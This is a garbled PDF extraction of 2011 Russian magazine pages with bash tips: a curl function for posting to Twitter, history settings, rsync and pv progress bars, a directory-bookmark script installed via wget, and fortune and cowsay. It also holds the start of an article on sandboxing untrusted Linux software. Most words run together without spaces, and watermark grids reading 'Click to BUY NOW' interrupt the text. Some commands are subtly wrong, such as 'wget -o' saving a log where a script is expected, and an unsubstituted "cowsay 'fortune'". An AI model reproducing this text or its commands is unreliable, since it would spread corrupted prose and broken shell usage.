$ ls **/*.mp3
Согласись, этогораздокорочеиудобнее, чем:
$ find ./ -name "*.mp3" -type f -print
Устанавливаютсяопцииследующимобразом:
$ shopt -s autocd cdspell checkjobs cmdhist dirspell globstar
Пишем в твиттер легко и непринужденно
Простаяфункция,отправляющаясообщениявтвиттер:
$ vi ~/.bashrc
twit()
{
curl --basic --user юзер:пароль --data status="$*" 'http://twitter.com/statuses/update. xml' -o /dev/null;
}
Использоватьтак:
$ twit 'Привет из консоли'
Незабываемпро140символов.
Коровка в консоли может выводить полезную информацию
Выводим базу данных LC_COLORS
Крометого:
1.Bash умеетсокращатьпутьктекущемукаталогувприглашении, еслионстановитсяслишкомдлинным. ДляуправленияэтойфункциейпредусмотренапеременнаяокруженияPROMPT_DIRTRIM.
Припревышенииуровнявложенностикаталогов, указанноговэтой переменной, путьбудетсокращен. Примериспользования:
$ export PROMPT_DIRTRIM=3
2.Bash поддерживает«умный» методпомещениякомандвисторию, позволяяосвободитьееотбанальностейвродеls. Висториюне будутпопадатьдубликатыикомандыls, bg, fg, exit послевыполнения следующейкоманды:
$ export HISTIGNORE="&:ls:[bf]g:exit"
3.Bash умеетделатьтак, чтобыкоманды, выполненныесиспользованиемsudo, автоматическипопадаливфайлисторииroot'аине засорялиисториюпользователя. Простодобавьследующуюстрокув файл/etc/bash.bashrc:
export HISTFILE=$HOME/.bash_hist-`whoami`
Индикаторпрогресса
Отсутствиеиндикаторапрогрессаубольшинстваконсольныхутилит
— однаизглавныхпроблемдлятех, кточастоработаетвконсоли. И хорошо, еслиподрукойестьmc, которыймногиетакииспользуют, чтобыполучитьокошкоспрогрессом. Ачтоеслиэтоголаяконсоль, а тебетребуетсясохранитьбэкапнафлешку, смонтированнуюврежимеsync? Вэтомслучаетебепоможетrsync, которыйхотьинесколько замедляетпроцесскопирования, нозатообеспечиваетвыводна экраншкалыпрогресса. Помещаемв~/.bashrc следующуюстроку:
XÀÊÅÐ 03 /146/ 2011 |
085 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
|
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
w Click |
to |
|
|
|
|
|
UNIXOID |
||||
|
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
Так работает автодополнение в fish
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
alias cpr='rsync --progress'
Ииспользуемкомандуcpr вместоcp:
$ cpr file1 file2
Еслидобавитьопцию'--remove-source-files', тоисходныефайлы будутудалены(правда, следуетпомнить, чтовпределаходной файловойсистемыmv гораздобыстрееrsync). Единственныйминус
— прогрессотображаетсядлякаждогофайлавотдельности, общий прогрессувидетьнельзя.
Чтобыувидетьходвыполнения, например, присозданииархива, можноиспользоватьутилитуpv (Pipe Viewer). Техническионапредставляетсобойзаменустандартногоcat, способнуюнетолькотупо копироватьбайтынавыход, ноипоказыватьпрогрессэтойоперации. Например:
$ tar -czf — /path/to/dir | pv > /path/to/archive.tgz
758MB 0:01:29 [8,48MB/s] [ |
<=> |
|
|
Ужехорошо. Нонехватаетвременизавершения. Дляэтогонадо передатьутилитеpv размеркаталога(вбайтах) спомощьюключа'-s':
$ tar -czf — /path/to/dir | pv -s $(du -sb /path/to/dir | grep -o '[0-9]*') > /path/to/archive.tgz
461MB 0:00:21 [ |
32MB/s] [============================= |
==========> |
] 60% ETA 0:00:13 |
Каждыйразнабиратьтакуюконструкциюнеоченьудобно, лучше сделатьалиас.
Закладкикаталоговвконсоли
Привыполненииоперацийадминистрированияприходитсячасто переходитьпокаталогамфайловогодерева. Bash поддерживает рядсокращений(например, чтобывернутьсявдомашнийкаталог, простовводим«cd», впредыдущийкаталог— «cd -»), ноэтогомало. Конечно, можноиспользоватьпсевдонимы(aliases), вроде:
alias cdwww='cd /var/www'
Ноэтоговсеравнобываетнедостаточновтомслучае, еслисписоккаталоговбольшой. Иглавное— использованиеалиасовне оченьудобно. Так, чтобысоздатьновыйпсевдоним, нужновручную прописатьегов~/.bashrc иперезапуститьтерминал. Небольшой
086
скриптDirectory Bookmarks for BASH (dirb.info/bashDirB) расширяет наборсокращений, позволяяналетусоздаватьзакладкинанужные каталогиипереходитьвнихкороткойкомандой.
Скачиваем:
$ wget -c http://www.dirb.info/bashDirB -o ~/.bashDirB
Идобавляемвфайл~/.bashrc строку:
source ~/.bashDirB
Теперькаждаяноваясессиябудетподдерживатьзакладки. Переходимвнужныйкаталогисохраняемеговзакладку:
$ cd /var/www $ s www
Послеэтогобудетсозданфайл~/.DirB/www, содержащийссылкуна закладку. Теперь, чтобывернутьсявуказанныйкаталогслюбогоместа файловойсистемы, достаточноввестивконсоли«g www». Аналогичнымобразомможносоздаватьлюбоеколичествозакладок.
Ноэтоневсепараметры. Например, параметр«p» позволяетзапомнитьпоследниеперемещенияивыводитихвконсоли:
$ p www
/var/www
~
How much is the FISH?
Новичкамвконсолиследуетвнимательнопосмотретьвсторону альтернативногокомандногоинтерпретатораподназваниемFISH (FriendlyInteractiveShell).Егопреимуществапередbashдовольновну-
шительны.Fishнаполнуюкатушкуиспользуетвозможностьуправленияцветамитерминала.Оноснащенгораздоболеемощнойсистемой автодополнения,котораявыводитнаэкраннетолькоспискикаталогов,аргументовиименакоманд,ноимассудругойполезнойинформации(например,рядомскаждойопциейпомещаетсяописаниетого,что онаделает).ВFishвстроенаоченьхорошаясистемаподсказок,такчто
еслитыдопустишьошибку,тополучишьобширноеразъяснениетого, чтопроизошло,испособыобходапроблемы.Наконец,скриптовый языкFishгораздопрощеилогичнеестандартногоязыкаsh.
XÀÊÅÐ 03 /146/ 2011
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
tar и индикатор процесса
Рекурсивный глоббинг в bash4
И, наконец, командаs1 позволитпросмотретьлистингзакладок. Дляудалениязакладкииспользуемключ'-r'.
Такжеследуетзнать, чтоbashDirB модифицируетпеременную PS1 такимобразом, чтовприглашениивыводитсявремяиномер текущегокаталогавhistory. Еслитебяэтонеустраивает, просто закомментируйсоответствующуюстрокувскрипте.
ВкачествеальтернативыbashDirB можноиспользоватьapparix (micans.org/apparix), предлагающийтрикоманды: bm (создание закладки), to (переходкзакладке) иportal (добавлениеподкаталоговвзакладки). Помимоbash такжеподдерживаетсяcsh. ПакетдоступенврепозитарииDebian/Ubuntu инекоторыхдругих дистрибутивов.
Фортунки
ВнекоторыхLinux-дистрибутивахпослезапускаконсоливыво- дитсянебольшаяцитата. Практическойпользыотнеевродеинет, нонебольшоешуточноевысказываниеповышаетнастроениеи настраиваетнарабочийлад. Тематическиепакетысбазамивысказыванийназываютсяfortunes, асамицитаты— фортунками.
ЗанесколькодесятковлетвСетипоявилосьбольшоеколичество сборниковцитат, которыелегкоинтегрируютсявконсоль. Чтобы установитьихвDebian илиUbuntu, достаточноввестикоманду:
$ sudo apt-get install fortunes fortunes-debian- hits fortunes-ubuntu-server fortunes-min fortune-mod
fortunes-ru
Последниедвапакетасодержатбольшоеколичествоафоризмовна русском. Кромеэтого, винтернетедоступныидругиерусскоязычныесборкифортунок, найтикоторыеоченьпросто— достаточно вбитьвГуглеfortunes-ru иполучимнесколькодесятковссылок (например, избранныецитатыссайтаlinux.org.ru: lorquotes.ru/ fortunes.php).
Послеустановкинеобходимонастроитьвыводцитатвконсоль. В самомпростомслучаедостаточнопрописатьвконфиг~/.bashrc всегооднослово:
$ echo "fortune" >> ~/.bashrc
Далееследуетперезапуститьтерминалилиперезагрузитьфайлнастроек(команда«source ~/.bashrc»). Cписоквыводимыхкатегорий фортунокможнополучить, введя:
XÀÊÅÐ 03 /146/ 2011
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
$ fortunes -f
Послеустановкивсефортункипомещаютсяводинизподкаталогов/usr/share/games/fortunes, откудаихизабираетпрограмма. Вслучаенеобходимостиприпомощиключа'-m' можноуказать шаблонфортунок, которыебудутвыводиться. Последобавления своихфортунокследуетиспользоватьутилитуstrfile длясоздания индекса(strfile файл_фортунок).
ПрижеланииможнограбитьRSS-новости, твиты, прогнозпогоды иликотировкивалютслюбогосайта, выводяихвкачествефортунок. Хотядляэтогомнебольшенравятсяаналогиfortunes — пакеты cowsay иxcowsay. Сowsay представляетсобойприложениенаPerl, котороевыводитизображениеговорящейилидумающейкоровы, нарисованнойASCII-символами.
$ sudo apt-get install cowsay xcowsay
Поумолчаниюкорованезнает, чтосказать, умнуюмысльейнадо подкинуть. Например, выведемuptime:
$ uptime | cowsay
Илифортунку(такреализовановLinux Mint):
$ cowsay 'fortune'
Кроместандартнойкоровыдоступныидругиеперсонажи, соответствующиеназваниюфайловвподкаталоге/usr/share/cowsay/ cows. Вызватьихможноприпомощипараметра'-f'. Такжеряд параметровизменяютвнешнийвидкоровы: '-t' — усталаякорова, '-p' — параноидальная, '-w' — обалдевшаяитакдалее. Чтобыавтоматизироватьпроцесс, заносимстрокузапускав~/.bashrc:
COWDIR=/usr/share/cowsay/cows/; COWNUM=$(($RANDOM%$(ls $COWDIR | wc -l))); COWFILE=$(ls $COWDIR | sed -n ''$COWNUM'p'); fortune | cowsay -f $COWFILE
Заключение
Собственно, этовсе. Следуярекомендациям, описаннымвстатье, тысможешьсделатьработувконсолигораздоболееудобнойипродуктивной, атакжеосвободитьвремядляболееважныхзанятий. z
087
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
r |
|
|
|
||||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
|
|
|
UNIXOID |
|
||||
|
|
|
|
|
|
|
m |
|
Евгений Зобнин zobnin@gmail.com |
|||||||
|
|
|
|
|
|
|
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
Зоопарк накарантине
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Запускаемнебезопасныйсофтбезвредасистеме
Совсем скоро писатели троянов и прочей нечисти всерьез возьмутся за пингвина и наберутся знаний, чтобы создать по-настоящему опасные вирусы. Даже уже существующих троянов не так просто отличить от легальных программ, зато их всегда можно поместить в карантин,
Многиедажеоченьграмотныепользовате- лиUNIX-подобныхсистемсчитаютсвоиОС неуязвимымикразногородапрограммной заразе. Иоднаизглавныхпричинтакой уверенности— традицияустанавливатьсофт черезпроверенные, подписанныесертификатамирепозитории, которыепоопределению немогутсодержатьзловредныхпрограмм. Втораяпричина— разделениеправ, благодарякоторомумалваридовольнотрудно навредитьсистемеилипрописатьсявавтозагрузку(пользователиWindows любятнаделять себяправамиадмина, вUNIX этонетольконе поощряется, ночастоивовсезапрещено). Можнодолгоговоритьотом, насколькоабсурднатакаяуверенность; о95% пользователей Ubuntu, которыеспокойноустанавливают любойподсунутыйимdeb-пакет; одосмешногопростомспособеперехватапользовательскогопароляспомощьюпрограммтипаxspy; обавтозагрузкеKDE иGNOME, прописатьсяв которуюможно, создавскрипт, состоящийиз
однойстроки... Ноэтостатьяодругом. Вконце концов, всемылюди, иниктоизнаснезастрахованотошибок, ктомужеиногдаочень трудноотказатьсебевзапускепрограммы, скачаннойизнепроверенногоисточника.
Рукипрочьотфайлов
Одинизнаиболеепопулярныхспособов помещенияприложениявизолированную среду— этотакназываемыепесочницы, которыевLinux представленысистемным вызовомchroot, воFreeBSD — технологией jail (тюрьма), вSolaris — зонами(или, говоря языкоммаркетологов, контейнерами). Все этоотличныеспособыизолироватьсофтину отосновнойсистемытак, чтобыонанесмогла ейнавредить. Однакоувсехтрехтехнологийестьнескольконедостатков, которые делаютихнеудобнымидляиспользованияна домашнемкомпе. Всеонитребуютсоздания полнойкопиисуществующейсистемы, начто тратитсявремя, дисковоепространство(что
насегодняшнийдень, правда, нетакважно) и нервы. Всетехнологииотносительнопросты виспользовании, нотребуютчтениядокументацииивниканиявдетали. Кромевсего прочего, голыйchroot сампосебеникогдане являлсяинструментомобеспечениябезопасности, апотомууязвимдлямногихтиповатак. Программуможнозапуститьввиртуальной машине, ноэтапроцедураопятьжепотребует созданиявыделенноймашины, скачивания/ созданияобразов, перемещенияприложения междуреальнойивиртуальноймашиной. В общем, проблемивознипредостаточно. Намжетребуетсяпростоесредство, спо- мощьюкоторогоможноводну-двекоманды послатьприложениетуда, откудаоноужене выберется. Издесьмыдолжнызадуматься отом, какуюфункциональностьприложения следуетограничивать. Ведьеслипрограмме запретитьабсолютновсе, ееполезностьока-
жетсянулевой(болеетого, мыдаженесможем понять, зловредналионавообще).
088 |
XÀÊÅÐ 03 /146/ 2011 |